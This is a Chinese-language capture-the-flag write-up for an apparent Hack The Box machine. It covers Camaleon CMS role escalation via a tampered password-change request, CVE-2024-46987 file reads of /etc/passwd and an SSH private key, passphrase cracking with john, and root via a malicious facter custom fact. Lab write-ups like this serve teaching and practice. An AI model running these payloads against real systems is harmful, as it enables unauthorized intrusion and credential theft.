Facts

UserFlag

考点:利用CVE-2024-46987获取ssh私钥登录

先用nmap扫一下

1
nmap -A 10.129.19.102

image-20260408194555266

80端口有一个没有重定向的网址,在/etc/hosts中添加

22端口存在SSH服务

1
2
3
密钥指纹
ECDSA: 4d:d7:b2:8c:d4:df:57:9c:a4:2f:df:c6:e3:01:29:89
ED25519: a3:ad:6b:2f:4a:bf:6f:48:ac:81:b9:45:3f:de:fb:87

然后扫目录没有扫到什么,尝试一下/admin路径,发现了登录界面,注册登录进去(但是dirsearch扫不出来,凭感觉试的/admin)

image-20260408194558899

看到了Camaleon CMS就去搜他存在的漏洞和POC,先是CVE-2025-2304

1
python3 CVE-2025-2304.py -u http://facts.htb -u 12 -p 12

image-20260408194602052

尝试了几次,发现每次运行成功后,再想登进去,之前的账户密码就不行了,说明可能不是这个漏洞或者不是用这个POC打

又看到了另一种提权的方法,注册登录后,在修改密码时拦截抓包

POC

1
_method=patch&authenticity_token=<TOKEN>&password%5Bpassword%5D=yy&password%5Bpassword_confirmation%5D=yy&password%5Brole%5D=admin

但这里有一个要注意的就是,抓包之后得到的请求包不要发包,加上&password%5Brole%5D=admin之后再发包,不然就会像下面p1这样出现302重定向

image-20260408194604621

这个才是正确的响应

image-20260408194607250

ok成功了,现在是admin权限了

image-20260408194610504

发现有很多页面,我也不知道怎么快速信息收集,就用了最朴实的方法,就是每一个都看一遍,就看到有一些是可以发布一些东西的,还有AWS的key感觉有用

image-20260408194612991

好像对于读userflag也没什么用,又在网上找到了另一个CVE

CVE-2024-46987:https://github.com/Goultarde/CVE-2024-46987/blob/main

payload

1
python3 CVE-2024-46987.py -u http://facts.htb/ -l 1 -p 1 /etc/passwd

可以实现任意文件的读取,这里看到了有两个用户trivia和william

image-20260408194615150

尝试利用私钥登录用户,文章:https://blog.csdn.net/jueshijindai/article/details/156168252

在网上搜一下私钥存在的位置和文件名,一般是在用户目录的.ssh文件中,文件名一般为

image-20260408194618979

image-20260408194621557

1
2
~/.ssh/id_rsa.pub  # RSA 公钥
~/.ssh/id_ed25519.pub # Ed25519 公钥

最终可以执行命令,获取trivia用户的私钥

1
python3 CVE-2024-46987.py -u http://facts.htb/ -l 1 -p 123 /home/trivia/.ssh/id_ed25519

image-20260408194624444

保存到本地文件中,命名为id_ed25519

image-20260408194626516

设置权限

1
chmod 600 id_ed25519

利用ssh登录

1
ssh -i id_ed25519 trivia@10.129.244.96

但还是要输入密码

image-20260408194628816

进行私钥密码爆破

使用ssh2john将私钥转换为可识别格式

1
ssh2john id_ed25519 > key

使用字典攻击破解,可以找一下自己的字典位置,需要先解压一下,(这个要爆破很久

1
john --wordlist=/usr/share/wordlists/rockyou.txt key

image-20260408194631564

成功爆出key是dragonballz

然后再去登录

1
2
ssh -i id_ed25519 trivia@10.129.244.96
#key:dragonballz

image-20260408194634188

ok成功登进去了,在william目录下找到了user.txt文件,拿到userflag

image-20260408194636842

RootFlag

考点:sudo权限滥用,利用facter进行提权

然后就是要进行提权,发现可以用sudo权限滥用进行提权

1
sudo -l

image-20260408194639620

可以无密码以root权限使用/usr/bin/facter命令

1
2
3
4
5
6
7
8
9
10
cd /tmp
mkdir -p /tmp/rfacts
cat > /tmp/rfacts/evil.rb << 'EOF'
Facter.add('evil') do
setcode do
system('/bin/bash')
end
end
EOF
sudo /usr/bin/facter --custom-dir /tmp/rfacts evil

image-20260408194642056

成功提权,就可以读取Rootflag了

image-20260408194646228


Facts
https://colourful228.github.io/2026/04/07/Facts/
作者
Colourful
发布于
2026年4月7日
更新于
2026年4月10日
许可协议